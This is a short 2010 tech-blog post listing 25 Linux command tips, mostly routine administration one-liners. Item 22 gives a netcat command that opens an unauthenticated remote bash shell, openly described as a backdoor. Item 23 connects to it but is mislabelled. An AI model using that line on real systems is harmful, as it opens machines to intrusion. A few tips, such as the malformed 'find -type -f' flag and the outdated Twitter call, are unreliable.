Chaitu Tech Bits

TOP 25 LINUX Commands

Tuesday, November 23, 2010

TOP 25 LINUX Commands

1.Search for all files modified in the last N days containing a specific text in their name

find DIR -mtime -N -name "*TEXT*"

2.Twitter update from terminal

curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

3.Determine which processes use the most memory

ps aux | sort -nk 4 | tail

or

ps aux | sort -nk 4 | head

4.Find removed (deleted) files still in use via /proc:

find -L /proc/*/fd -links 0 2>/dev/null

5.Display the username which is currently logged in

whoami

6.Check if network cable is plugged in and working correctly:

mii-tool eth0

7.Show date using format modifiers

date +"%H:%M:%S"

8. Migrate existing Ext3 filesystems to Ext4:

tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

9.Show info about a specific user:

finger $USER

10.On-the-fly unrar movie in .rar archive and play it, does also work on part archives:

unrar p -inul foo.rar|mplayer -

11.Show disk usage separately for each partition

df -h

df -B 1K

12.List programs with open ports and connections:

netstat -ntauple

or

netstat -lnp

13.Show which modules are loaded

lsmod

14.Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:

ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

15.Add or remove a module to/from the Linux kernel
Insert a module:

modprobe MODULE

Remove a module:

modprobe -r MODULE

16.Find files larger than 1 GB, everywhere

find / -type -f -size +1000000000c

17. All the startup services, and sort alphabetically

sudo chkconfig --list | sort | less

18.Search for a file using locate

locate FILENAME

19.Kill a process that is locking a file:

fuser -k filename

20.Change the encoding of a text file:

iconv -f INITIAL_ENCODING -t DESIRED_ENCODING filename

21.Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:

killall -STOP -m firefox

22.Create a backdoor on a machine to allow remote connection to bash:

nc -vv -l -p 1234 -e /bin/bash

23.Launch a listener on the machine :

nc 192.168.0.1 1234

24.Print file name of terminal on standard input:

tty

25.Strip directory and suffix from filenames:

basename NAME
Share/Bookmark

Related Posts Plugin for WordPress, Blogger...